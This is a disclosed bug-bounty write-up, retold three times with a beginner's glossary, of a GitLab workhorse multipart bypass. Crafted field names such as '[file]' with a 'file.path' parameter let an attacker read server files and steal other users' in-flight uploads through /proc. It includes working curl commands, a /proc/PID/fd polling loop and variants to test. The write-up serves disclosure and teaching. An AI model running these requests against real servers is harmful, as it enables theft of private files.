gitlab-workhorse bypass in Gitlab::Middleware::Multipart allowing files in `allowed_paths` to be read
A bypass in GitLab's multipart middleware allowed an attacker to supply crafted field names that made the server read arbitrary files from allowed paths instead of the uploaded file. This enabled reading known files and, via /proc, in-flight temporary files belonging to other users.
- Triaged in 19 hours
- Fixed in 27 days
- Paid in 19 hours
- Disclosed after 54 days
Summary
Extracted from https://hackerone.com/reports/835455#activity-7672566
While testing and looking at the patch for the nuget package workhorse bypass (https://gitlab.com/gitlab-org/gitlab/issues/209080 I think) I came across a more widespread bypass:
# create test file on gitlab server
echo hello > /tmp/ggg; sudo chown git:git /tmp/ggg
# attacker
curl -XPUT -v -F '[package]=@/tmp/lala.txt' "http://vakzz:[email protected]/api/v4/projects/171/packages/nuget/?package.path=/tmp/ggg"
{"message":"201 Created"}
Using [package] as the field name causes the @rewritten_fields to contain:
{
"rewritten_fields": {
"[package]": "/var/opt/gitlab/gitlab-rails/shared/packages/tmp/uploads/lala.txt539589799"
},
"iss": "gitlab-workhorse"
}
This is then used parsed_field = Rack::Utils.parse_nested_query(field) which ends up creating the hash {"package"=>nil} (same as package would return). This passes the validation, but the Multipart::Handler will then use the query params as they match instead of the payload that workhorse sends through.
This also allows for any file in the following to be accessed:
def allowed_paths
[
::FileUploader.root,
Gitlab.config.uploads.storage_path,
JobArtifactUploader.workhorse_upload_path,
File.join(Rails.root, 'public/uploads/tmp')
]
end
This could be done anywhere that accelerated uploads, eg the UploadsController or uploading a wiki file.
Using the wiki api removes the restriction that the file needs to be owned by git due to file_content: attrs[:file].read happening instead of moving the original file:
echo hello > /tmp/ggg; sudo chown root:root /tmp/ggg
$ curl -g -XPOST -v -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/tmp/ggg' -F '[file]=@/tmp/lala.txt'
{"file_name":"ggg","file_path":"uploads/58ec1627b3f14eba0a16659fd859da63/ggg","branch":"master","link":{"url":"uploads/58ec1627b3f14eba0a16659fd859da63/ggg","markdown":"[ggg](uploads/58ec1627b3f14eba0a16659fd859da63/ggg)"}}
It's also fairly easy to steal incoming files tmp files that are currently opened in rails by:
-
Determine a valid PID by looping over
/proc/PIDuntil acwdis found and readable bygit(eg theunicornworker will have/proc/19606/cwd -> /var/opt/gitlab/gitlab-rails/working) and traverse to a valid upload path:Bash
$ curl -s -o /dev/null -w "%{http_code}\n" -XPOST -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/proc/19601/cwd/../../../../../opt/gitlab/embedded/service/gitlab-rails/public/422.html' -F '[file]=@/tmp/lala.txt' 500 $ curl -s -o /dev/null -w "%{http_code}\n" -XPOST -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/proc/19603/cwd/../../../../../opt/gitlab/embedded/service/gitlab-rails/public/422.html' -F '[file]=@/tmp/lala.txt' 201 ```
-
Using this pid, use
/proc/PID/fd/XXas thefile.path(looking at my server a fd of 44 was the used pretty consistently for tmp files) and run it in a loop:Bash
$ while true; do curl -s -XPOST -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/proc/19603/fd/44' -F '[file]=@/tmp/lala.txt'| grep file_name; done ```
-
Upload a bunch of things, eventually a file will be stolen:
JSON
{"file_name":"image.png115893730","file_path":"uploads/232bcab08d5dcc29cc45c9fa1e868484/image.png115893730","branch":"master","link":{"url":"uploads/232bcab08d5dcc29cc45c9fa1e868484/image.png115893730","markdown":"image.png115893730"}} ```
Steps to reproduce
- create a new project
- create a wiki page
- create a test file on the gitlab server:
echo hello > /tmp/ggg; - create a dummy file on the attackers server
echo unused > /tmp/lala.txt - Upload a wiki file using the crafted params
bash $ curl -g -XPOST -v -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/tmp/ggg' -F '[file]=@/tmp/lala.txt'` {"file_name":"ggg","file_path":"uploads/58ec1627b3f14eba0a16659fd859da63/ggg","branch":"master","link":{"url":"uploads/58ec1627b3f14eba0a16659fd859da63/ggg","markdown":"[ggg](uploads/58ec1627b3f14eba0a16659fd859da63/ggg)"}} - paste the markdown into the wiki page and download the file
Impact
- read known files in
::FileUploader.root, Gitlab.config.uploads.storage_path, JobArtifactUploader.workhorse_upload_path, File.join(Rails.root, 'public/uploads/tmp') - read unknown inflight files by using the symlinks in
/proc/PID/fd/XXbelonging to other users.
Examples
The above was uploaded using file.path=/opt/gitlab/embedded/service/gitlab-rails/public/422.html to verify.
What is the current bug behavior?
An attacker can specify file.* params and have gitlab believe they are valid and signed
What is the expected correct behavior?
Only params from the workhorse should be valid
Output of checks
Results of GitLab environment info
System information
System: Ubuntu 18.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.6.5p114
Gem Version: 2.7.10
Bundler Version:1.17.3
Rake Version: 12.3.3
Redis Version: 5.0.7
Git Version: 2.24.1
Sidekiq Version:5.2.7
Go Version: unknown
GitLab information
Version: 12.9.3-ee
Revision: 7c13691fb8e
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 10.12
URL: http://gitlab-vm.local
HTTP Clone URL: http://gitlab-vm.local/some-group/some-project.git
SSH Clone URL: [email protected]:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 12.0.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
Impact
- read known files in
::FileUploader.root, Gitlab.config.uploads.storage_path, JobArtifactUploader.workhorse_upload_path, File.join(Rails.root, 'public/uploads/tmp') - read unknown inflight files by using the symlinks in
/proc/PID/fd/XXbelonging to other users.
Context
GitLab uses gitlab-workhorse as a reverse proxy in front of the Rails application. For uploads, workhorse handles the incoming multipart request itself, stores the file in a temporary location, and then forwards a signed set of rewritten fields to Rails so that Rails can trust the file without reading the whole body again. This is the "accelerated upload" path used by features such as the package registry (NuGet in this case), the UploadsController and wiki attachments.
The report describes a bypass of that trust boundary in Gitlab::Middleware::Multipart. By choosing a particular multipart field name, an attacker can make Rails accept a file.path (or package.path) query parameter as if it had been signed by workhorse, and then read arbitrary files that the git user can access within a set of allowed directories.
Setup
The testing was done against a self-managed GitLab instance. The environment reported by the researcher was:
System information
System: Ubuntu 18.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.6.5p114
Gem Version: 2.7.10
Bundler Version:1.17.3
Rake Version: 12.3.3
Redis Version: 5.0.7
Git Version: 2.24.1
Sidekiq Version:5.2.7
Go Version: unknown
GitLab information
Version: 12.9.3-ee
Revision: 7c13691fb8e
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 10.12
URL: http://[redacted]
HTTP Clone URL: http://[redacted]/some-group/some-project.git
SSH Clone URL: [redacted]:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 12.0.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
The test file on the server was created with git ownership for the NuGet case, and with root ownership for the wiki case, to demonstrate the difference between the two code paths.
Finding it
The researcher was looking at the patch for an earlier NuGet package workhorse bypass (referenced as gitlab-org/gitlab issue 209080) and noticed that the same trick applied more broadly. The key observation was that the field name used in the multipart body influences how workhorse records the rewritten field, and that the Rails side parses that field name with Rack::Utils.parse_nested_query.
A field named [package] is recorded by workhorse as a rewritten field with that exact key:
{
"rewritten_fields": {
"[package]": "/var/opt/gitlab/gitlab-rails/shared/packages/tmp/uploads/lala.txt539589799"
},
"iss": "gitlab-workhorse"
}
When Rails runs parsed_field = Rack::Utils.parse_nested_query(field) on [package], the result is the hash {"package"=>nil}, which is the same shape as a plain package field. That passes the validation that the field is one workhorse is allowed to rewrite. But because the parsed value is nil, the Multipart::Handler then falls back to the query parameters that match, instead of using the payload that workhorse actually sent through. In other words, the attacker controls the value that Rails ends up using, even though workhorse signed only the field name.
The set of paths that can be reached this way is defined in the code as:
def allowed_paths
[
::FileUploader.root,
Gitlab.config.uploads.storage_path,
JobArtifactUploader.workhorse_upload_path,
File.join(Rails.root, 'public/uploads/tmp')
]
end
Because the same middleware is used anywhere accelerated uploads happen, the researcher notes this could be done at the UploadsController or when uploading a wiki file, not only in the NuGet package endpoint.
Exploitation
Step 1: Prove the bypass with the NuGet package endpoint
A test file is created on the GitLab server and owned by git:
# create test file on gitlab server
echo hello > /tmp/ggg; sudo chown git:git /tmp/ggg
# attacker
curl -XPUT -v -F '[package]=@/tmp/lala.txt' "http://vakzz:$[redacted]/api/v4/projects/171/packages/nuget/?package.path=/tmp/ggg"
{"message":"201 Created"}
The multipart field is named [package] and its content is a dummy local file. The query string carries package.path=/tmp/ggg, which is the file the attacker wants to read. The response is 201 Created, which shows the request was accepted. The file has to be owned by git here because this code path moves the original file rather than reading it.
Step 2: Use the wiki attachment API to drop the ownership restriction
The wiki attachment endpoint reads the file content with file_content: attrs[:file].read instead of moving the original file. That means the file no longer has to be owned by git; it only has to be readable by the process. The researcher demonstrates this with a file owned by root:
echo hello > /tmp/ggg; sudo chown root:root /tmp/ggg
$ curl -g -XPOST -v -H "Authorization: Bearer $TOKEN" 'http://[redacted]/api/v4/projects/171/wikis/attachments?file.path=/tmp/ggg' -F '[file]=@/tmp/lala.txt'
{"file_name":"ggg","file_path":"uploads/[redacted]/ggg","branch":"master","link":{"url":"uploads/[redacted]/ggg","markdown":"[ggg](uploads/[redacted]/ggg)"}}
Here the field is [file], and the query parameter is file.path=/tmp/ggg. The response contains a file_path and a markdown link, which means the file was stored as a wiki attachment and can be downloaded through the normal uploads URL.
Step 3: Find a valid PID and traverse to an allowed path
The next goal is to read files that are not at a known path, in particular temporary files that Rails currently has open. The first step is to find a PID whose cwd is readable by git. The researcher loops over /proc/PID until a readable cwd is found; for example, a unicorn worker has /proc/19606/cwd -> /var/opt/gitlab/gitlab-rails/working. From that cwd, the attacker can traverse with ../ to reach a valid upload path. The researcher tests candidate PIDs by requesting a known file through the traversal:
$ curl -s -o /dev/null -w "%{http_code}\n" -XPOST -H "Authorization: Bearer $TOKEN" 'http://[redacted]/api/v4/projects/171/wikis/attachments?file.path=/proc/19601/cwd/../../../../../opt/gitlab/embedded/service/gitlab-rails/public/422.html' -F '[file]=@/tmp/lala.txt'
500
$ curl -s -o /dev/null -w "%{http_code}\n" -XPOST -H "Authorization: Bearer $TOKEN" 'http://[redacted]/api/v4/projects/171/wikis/attachments?file.path=/proc/19603/cwd/../../../../../opt/gitlab/embedded/service/gitlab-rails/public/422.html' -F '[file]=@/tmp/lala.txt'
201
The first request returned 500 and the second returned 201.
Step 4: Loop over file descriptors to steal in-flight uploads
With a valid PID, the attacker can point file.path at /proc/PID/fd/XX. On the researcher's server, file descriptor 44 was used pretty consistently for temporary files. The request is run in a loop:
$ while true; do curl -s -XPOST -H "Authorization: Bearer $TOKEN" 'http://[redacted]/api/v4/projects/171/wikis/attachments?file.path=/proc/19603/fd/44' -F '[file]=@/tmp/lala.txt'| grep file_name; done
Each iteration tries to read whatever file descriptor 44 currently points to. When another user's upload happens to be open on that descriptor, the response contains that file's name and path:
{"file_name":"image.png115893730","file_path":"uploads/[redacted]/image.png115893730","branch":"master","link":{"url":"uploads/[redacted]/image.png115893730","markdown":"[image.png115893730](uploads/[redacted]/image.png115893730)"}}
By uploading a bunch of things while the loop runs, eventually a file will be stolen.
Step 5: Reproduce end to end
The researcher's reproduction steps are:
- Create a new project.
- Create a wiki page.
- Create a test file on the GitLab server:
echo hello > /tmp/ggg; - Create a dummy file on the attacker's server:
echo unused > /tmp/lala.txt - Upload a wiki file using the crafted params:
$ curl -g -XPOST -v -H "Authorization: Bearer $TOKEN" 'http://[redacted]/api/v4/projects/171/wikis/attachments?file.path=/tmp/ggg' -F '[file]=@/tmp/lala.txt'`
{"file_name":"ggg","file_path":"uploads/[redacted]/ggg","branch":"master","link":{"url":"uploads/[redacted]/ggg","markdown":"[ggg](uploads/[redacted]/ggg)"}}
- Paste the markdown into the wiki page and download the file.
As a public example, the researcher uploaded a file using file.path=/opt/gitlab/embedded/service/gitlab-rails/public/422.html to verify the technique, and published it at https://gitlab.com/vakzz-h1/workhorse-bypass/-/wikis/home.
Root cause
The middleware trusts the field names that workhorse signs, but then parses those names with Rack::Utils.parse_nested_query. A field name like [package] parses to {"package"=>nil}, which matches the expected field name and passes validation, while the value is nil. Because the value is nil, the handler falls back to the matching query parameters, which the attacker controls. The signed payload from workhorse is therefore ignored, and the attacker's file.path or package.path is used instead.
The only remaining restriction is the allowed_paths list, which limits reads to the uploader root, the uploads storage path, the job artifact workhorse upload path and public/uploads/tmp. The /proc/PID/cwd and /proc/PID/fd/XX symlinks let the attacker reach those paths from a process working directory, and the wiki attachment code path reads the file content rather than moving it, so file ownership by git is not required there.
The expected behaviour, as stated in the report, is that only params from workhorse should be valid.
Impact
An attacker with an API token can read known files inside ::FileUploader.root, Gitlab.config.uploads.storage_path, JobArtifactUploader.workhorse_upload_path and File.join(Rails.root, 'public/uploads/tmp'). They can also read unknown in-flight files by using the symlinks in /proc/PID/fd/XX belonging to other users, which means files being uploaded by other users at the time of the attack. The wiki attachment path removes the requirement that the target file be owned by git, because the content is read rather than moved.
Fix
The report does not describe the patch that was applied. The expected behaviour it states is that only params from workhorse should be valid.
Variants to test
- Try the same
[field]naming trick on any endpoint that uses accelerated uploads, such asUploadsControlleror wiki attachments. A positive result is a201or similar success response where the stored file content matches a file the attacker chose via a query parameter. - Try
file.pathandpackage.pathwith paths inside the fourallowed_pathsdirectories. A positive result is a successful upload whose content matches the target file. - Try
/proc/PID/cwd/../../..traversal from a readable process working directory to reach an allowed path. A201confirms the traversal works; a500suggests the path did not resolve. - Try looping over
/proc/PID/fd/XXwhile generating uploads. A positive result is a response containing another user's file name and path.
Hunting notes
This kind of bug tends to hide wherever a proxy signs a subset of request fields and the backend re-parses those field names. Look for middleware that uses Rack::Utils.parse_nested_query on signed field names, and for handlers that fall back to query parameters when the parsed value is nil. During recon, endpoints that accept multipart uploads and expose a *.path query parameter are the signal. The researcher showed impact by reading a known file through the wiki attachment API and by capturing an in-flight upload through /proc/PID/fd/XX, which demonstrates both the deterministic read and the cross-user read.
What happened, in plain words
GitLab is a website where teams store code and files. It has a feature that lets you upload files, for example a picture attached to a wiki page (a wiki is a set of editable pages inside a project). When you upload something, a helper program called gitlab-workhorse sits in front of the main GitLab application and takes care of receiving the file. It saves the file somewhere temporary, then tells the main application "this upload is fine, here is where I put it". The main application trusts that message because workhorse signs it, a bit like a bouncer stamping your hand at a club so the bar staff know you were already checked.
The researcher found a way to abuse that trust. By choosing a strange name for the upload field, they could make the main application ignore what workhorse actually sent and instead use a file path that the attacker typed into the web address. The result: an attacker could make GitLab hand back files from the server that they were never meant to see, including files other users were uploading at that very moment.
This is called an information disclosure vulnerability: nothing is broken or deleted, but private information leaks out.
Some words you will meet
Before the details, a few everyday explanations:
- Server: a computer somewhere that runs a website and stores its files. When you visit GitLab, your browser talks to a server.
- API: a way for programs (or command-line tools) to talk to a website without using the graphical pages. Think of it as a service counter at a shop: you ask for something in a fixed format and get an answer in a fixed format.
- Token: a long secret string that proves who you are, like a wristband that lets you back into a festival. Anyone holding it can act as you, so it must stay secret.
- Endpoint: one specific address in an API, for example the address that handles wiki attachments. Each endpoint does one job.
- Query parameter: the part of a web address after a question mark, such as
?file.path=/tmp/ggg. It is a small piece of information sent along with the request. - Multipart request: a way of sending a form that can include files. Each piece of the form has a name (the field name) and a value (the content).
- curl: a command-line tool for sending web requests. The examples below use it.
- Reverse proxy: a program that sits in front of the real application and forwards requests to it, often doing useful work on the way. gitlab-workhorse is GitLab's reverse proxy.
- Accelerated upload: instead of the main application reading a whole uploaded file, the proxy receives it, stores it, and passes along a short signed note. This saves time and memory.
- Rails: the web framework GitLab's main application is built with.
- Middleware: a layer of code that every request passes through, like a checkpoint in an airport.
Gitlab::Middleware::Multipartis the checkpoint that handles uploads. - PID: a process ID, a number the operating system gives to each running program. On Linux you can look inside a running program through
/proc/PID. - File descriptor (fd): a number the operating system uses for an open file.
/proc/PID/fd/44means "whatever file process number PID currently has open under number 44". - Symlink: a shortcut that points at another file or folder, like a signpost saying "the real thing is over there".
- Path traversal: using
../in a path to climb up out of a folder and into another one.../means "go up one level".
The setup
The testing was done on a GitLab instance the researcher ran themselves, not on gitlab.com. The report includes the environment details so others can reproduce it:
System information
System: Ubuntu 18.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.6.5p114
Gem Version: 2.7.10
Bundler Version:1.17.3
Rake Version: 12.3.3
Redis Version: 5.0.7
Git Version: 2.24.1
Sidekiq Version:5.2.7
Go Version: unknown
GitLab information
Version: 12.9.3-ee
Revision: 7c13691fb8e
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 10.12
URL: http://[redacted]
HTTP Clone URL: http://[redacted]/some-group/some-project.git
SSH Clone URL: [redacted]:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 12.0.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
This block is just a status report printed by GitLab. It says the server runs Ubuntu 18.04, GitLab version 12.9.3-ee, Ruby 2.6.5, and that the GitLab processes run as the user git.
The test file on the server was created owned by git for the NuGet case (NuGet is a package manager, a tool for publishing and downloading software packages) and owned by root for the wiki case. That difference is deliberate and shows that the two code paths behave differently.
Finding it
The researcher was reading the fix for an earlier bug in the NuGet package upload path (referenced as gitlab-org/gitlab issue 209080) and noticed the same trick worked in more places. The important observation: the name you give a form field changes how workhorse records it, and the Rails side later parses that name with a function called Rack::Utils.parse_nested_query.
A field named [package] is recorded by workhorse exactly like this:
{
"rewritten_fields": {
"[package]": "/var/opt/gitlab/gitlab-rails/shared/packages/tmp/uploads/lala.txt539589799"
},
"iss": "gitlab-workhorse"
}
This is the signed note workhorse sends to Rails. rewritten_fields is a list of fields workhorse has handled, and here the only entry has the key [package] pointing at the temporary file it saved. iss means "issuer", the program that created the note.
When Rails runs parsed_field = Rack::Utils.parse_nested_query(field) on the name [package], the result is the hash {"package"=>nil}. A hash is a list of key and value pairs, like a labelled box; here the label is package and the value is nil, meaning empty. That is the same shape as a plain package field, so it passes the check that this is a field workhorse is allowed to rewrite. But because the value is empty, the upload handler then falls back to the query parameters that match, instead of using the file workhorse actually sent. In plain terms: workhorse signed only the label, and the attacker gets to fill in the contents.
The code defines which folders can be reached this way:
def allowed_paths
[
::FileUploader.root,
Gitlab.config.uploads.storage_path,
JobArtifactUploader.workhorse_upload_path,
File.join(Rails.root, 'public/uploads/tmp')
]
end
This is a small Ruby function that returns a list of four folders: the root folder for uploaded files, the configured uploads storage folder, the folder where job artifacts (files produced by automated build jobs) are staged, and a temporary uploads folder inside the public directory. These are the folders listed in allowed_paths. Because the same middleware handles every accelerated upload, the researcher notes the trick should work at the UploadsController (the general upload endpoint) or when uploading a wiki file, not only in the NuGet package endpoint.
Exploitation
Step 1: Prove the bypass with the NuGet package endpoint
First, a test file is created on the GitLab server and given to the git user:
# create test file on gitlab server
echo hello > /tmp/ggg; sudo chown git:git /tmp/ggg
# attacker
curl -XPUT -v -F '[package]=@/tmp/lala.txt' "http://vakzz:$[redacted]/api/v4/projects/171/packages/nuget/?package.path=/tmp/ggg"
{"message":"201 Created"}
Line by line:
echo hello > /tmp/gggwrites the wordhellointo a file called/tmp/ggg. This is the secret file the attacker wants to read.sudo chown git:git /tmp/gggchanges the owner of that file to thegituser, because this code path moves the original file and therefore needs the application to own it.- The
curlcommand sends an upload to the NuGet package endpoint of project 171.-XPUTsays use the PUT method (the method this endpoint expects for publishing).-F '[package]=@/tmp/lala.txt'attaches a local dummy file under the field name[package], with the square brackets being the whole point. The address contains the token and the query parameterpackage.path=/tmp/ggg, which is the file to read. {"message":"201 Created"}is the server's answer: the request was accepted. The attacker has made GitLab treat/tmp/gggas the uploaded package.
Step 2: Use the wiki attachment API to drop the ownership restriction
The wiki attachment endpoint reads the file's content with file_content: attrs[:file].read instead of moving the original file. Reading does not require owning the file, only permission to read it, so the git ownership requirement disappears. The researcher proves this with a file owned by root:
echo hello > /tmp/ggg; sudo chown root:root /tmp/ggg
$ curl -g -XPOST -v -H "Authorization: Bearer $TOKEN" 'http://[redacted]/api/v4/projects/171/wikis/attachments?file.path=/tmp/ggg' -F '[file]=@/tmp/lala.txt'
{"file_name":"ggg","file_path":"uploads/[redacted]/ggg","branch":"master","link":{"url":"uploads/[redacted]/ggg","markdown":"[ggg](uploads/[redacted]/ggg)"}}
Line by line:
- The first line again writes
hellointo/tmp/ggg, this time owned byroot, the most privileged user on a Linux system. The application runs asgit, so it does not own this file. - The
curlcommand posts to the wiki attachments endpoint.-gstops curl from treating square brackets in the address as special characters.-H "Authorization: Bearer $TOKEN"sends the token as proof of identity, the same way a browser sends a login cookie. The query parameter is nowfile.path=/tmp/ggg, and the field name is[file]. - The answer contains
file_name,file_path, a branch name and a markdown link. Markdown is a simple way of writing formatted text. This means GitLab stored the content of/tmp/gggas a wiki attachment, and the attacker can now download it through the normal uploads address.
Step 3: Find a valid PID and traverse to an allowed path
The next goal is to read files whose location the attacker does not know in advance, especially temporary files Rails currently has open. First the attacker needs a process ID whose working directory (cwd) is readable by git. The researcher loops over /proc/PID until a readable cwd turns up; for example, a unicorn worker (unicorn is the web server GitLab used at the time) has /proc/19606/cwd -> /var/opt/gitlab/gitlab-rails/working. From that working directory, ../ can climb up to a folder in the allowed list. Candidate PIDs are tested by asking for a known file through the traversal:
$ curl -s -o /dev/null -w "%{http_code}\n" -XPOST -H "Authorization: Bearer $TOKEN" 'http://[redacted]/api/v4/projects/171/wikis/attachments?file.path=/proc/19601/cwd/../../../../../opt/gitlab/embedded/service/gitlab-rails/public/422.html' -F '[file]=@/tmp/lala.txt'
500
$ curl -s -o /dev/null -w "%{http_code}\n" -XPOST -H "Authorization: Bearer $TOKEN" 'http://[redacted]/api/v4/projects/171/wikis/attachments?file.path=/proc/19603/cwd/../../../../../opt/gitlab/embedded/service/gitlab-rails/public/422.html' -F '[file]=@/tmp/lala.txt'
201
Line by line:
-smakes curl quiet,-o /dev/nullthrows away the response body, and-w "%{http_code}\n"prints only the HTTP status code, the three-digit number that says how the request went.- The first request uses PID 19601 and gets
500. - The second request uses PID 19603 and gets
201, which means created: the request succeeded and the file was stored as an attachment.
Step 4: Loop over file descriptors to steal in-flight uploads
With a valid PID, the attacker can point file.path at /proc/PID/fd/XX. On the researcher's server, file descriptor 44 was used pretty consistently for temporary files. The request is run in a loop:
$ while true; do curl -s -XPOST -H "Authorization: Bearer $TOKEN" 'http://[redacted]/api/v4/projects/171/wikis/attachments?file.path=/proc/19603/fd/44' -F '[file]=@/tmp/lala.txt'| grep file_name; done
Line by line:
while true; do ... donerepeats the command forever until stopped.- Each time, curl posts to the wiki attachments endpoint with
file.path=/proc/19603/fd/44, meaning "whatever file process 19603 has open as number 44 right now". grep file_namekeeps only the lines of the answer that mention a file name, so the output stays readable.
Each round tries to read whatever file descriptor 44 currently points at. When another user's upload happens to be open on that descriptor, the answer contains that file's name and path:
{"file_name":"image.png115893730","file_path":"uploads/[redacted]/image.png115893730","branch":"master","link":{"url":"uploads/[redacted]/image.png115893730","markdown":"[image.png115893730](uploads/[redacted]/image.png115893730)"}}
This is the same kind of answer as before, but now the file name is image.png115893730. By uploading a bunch of things while the loop runs, eventually a file will be stolen.
Step 5: Reproduce end to end
The researcher's reproduction steps are:
- Create a new project.
- Create a wiki page.
- Create a test file on the GitLab server:
echo hello > /tmp/ggg; - Create a dummy file on the attacker's server:
echo unused > /tmp/lala.txt - Upload a wiki file using the crafted params:
$ curl -g -XPOST -v -H "Authorization: Bearer $TOKEN" 'http://[redacted]/api/v4/projects/171/wikis/attachments?file.path=/tmp/ggg' -F '[file]=@/tmp/lala.txt'`
{"file_name":"ggg","file_path":"uploads/[redacted]/ggg","branch":"master","link":{"url":"uploads/[redacted]/ggg","markdown":"[ggg](uploads/[redacted]/ggg)"}}
This is the same request as in step 2, with the same result: the content of /tmp/ggg is stored as a wiki attachment. The dummy file /tmp/lala.txt is only there to give the form something to send; its content is never used.
- Paste the markdown into the wiki page and download the file. The markdown link points at the stored attachment, so clicking it downloads the secret file through the normal GitLab interface.
As a public example, the researcher uploaded a file using file.path=/opt/gitlab/embedded/service/gitlab-rails/public/422.html to verify the technique, and published it at https://gitlab.com/vakzz-h1/workhorse-bypass/-/wikis/home.
Root cause
The middleware trusts the field names that workhorse signs, but then parses those names with Rack::Utils.parse_nested_query. A name like [package] parses to {"package"=>nil}, which matches the expected field name and passes validation, while the value is empty. Because the value is empty, the handler falls back to the matching query parameters, which the attacker controls. The signed payload from workhorse is therefore ignored, and the attacker's file.path or package.path is used instead.
The only remaining restriction is the allowed_paths list, which limits reads to the uploader root, the uploads storage path, the job artifact workhorse upload path and public/uploads/tmp. The /proc/PID/cwd and /proc/PID/fd/XX symlinks let the attacker reach those paths from a process working directory, and the wiki attachment code path reads the file content rather than moving it, so ownership by git is not required there.
The expected behaviour, as stated in the report, is that only params from workhorse should be valid.
Impact
An attacker with an API token can read known files inside ::FileUploader.root, Gitlab.config.uploads.storage_path, JobArtifactUploader.workhorse_upload_path and File.join(Rails.root, 'public/uploads/tmp'). They can also read unknown in-flight files by using the symlinks in /proc/PID/fd/XX belonging to other users, which means files being uploaded by other users at the time of the attack. The wiki attachment path removes the requirement that the target file be owned by git, because the content is read rather than moved.
Fix
The report does not describe the patch that was applied. The expected behaviour it states is that only params from workhorse should be valid.
Variants to test
- Try the same
[field]naming trick on any endpoint that uses accelerated uploads, such asUploadsControlleror wiki attachments. A positive result is a201or similar success response where the stored file content matches a file the attacker chose via a query parameter. - Try
file.pathandpackage.pathwith paths inside the fourallowed_pathsdirectories. A positive result is a successful upload whose content matches the target file. - Try
/proc/PID/cwd/../../..traversal from a readable process working directory to reach an allowed path. A201confirms the traversal works; a500suggests the path did not resolve. - Try looping over
/proc/PID/fd/XXwhile generating uploads. A positive result is a response containing another user's file name and path.
Hunting notes
This kind of bug tends to hide wherever a proxy signs a subset of request fields and the backend re-parses those field names. Look for middleware that uses Rack::Utils.parse_nested_query on signed field names, and for handlers that fall back to query parameters when the parsed value is empty. During recon (the early stage of looking around a target for weak spots), endpoints that accept multipart uploads and expose a *.path query parameter are the signal. The researcher showed impact by reading a known file through the wiki attachment API and by capturing an in-flight upload through /proc/PID/fd/XX, which demonstrates both the deterministic read and the cross-user read.
Glossary
- API: a fixed way for programs to talk to a website, like a service counter with set questions and answers.
- Accelerated upload: an upload path where a proxy receives the file and passes a short signed note to the main application instead of the whole file.
- Allowed paths: the list of folders the upload middleware is permitted to read from.
- Cookie: a small piece of data a browser stores and sends back to a site to stay logged in; a token works in a similar way for programs.
- Endpoint: one specific address in an API that performs one job.
- Field name: the label on one part of a multipart form, such as
[file]. - File descriptor (fd): a number the operating system uses for an open file;
/proc/PID/fd/44is whatever file that process has open as number 44. - gitlab-workhorse: GitLab's reverse proxy, which sits in front of the main application and handles uploads among other things.
- Hash: a list of key and value pairs, like labelled boxes.
- Information disclosure: a vulnerability where private information leaks out without anything being broken or deleted.
- Markdown: a simple way of writing formatted text, for example
[name](address)for a link. - Middleware: a layer of code every request passes through, like a checkpoint.
- Multipart request: a form submission that can carry files, made of named parts.
- nil: the Ruby word for "nothing" or "empty".
- NuGet: a package manager for publishing and downloading software packages.
- Path traversal: using
../to climb out of a folder into another one. - PID: a process ID, the number the operating system gives a running program.
- Query parameter: the part of a web address after the question mark, carrying small pieces of information.
- Recon: the early stage of looking around a target for weak spots.
- Reverse proxy: a program in front of the real application that forwards requests to it.
- Root: the most privileged user on a Linux system.
- Server: a computer that runs a website and stores its files.
- Symlink: a shortcut pointing at another file or folder.
- Token: a long secret string that proves who you are, like a wristband.
- Unicorn: the web server GitLab used at the time of the report.
- Wiki: a set of editable pages inside a project.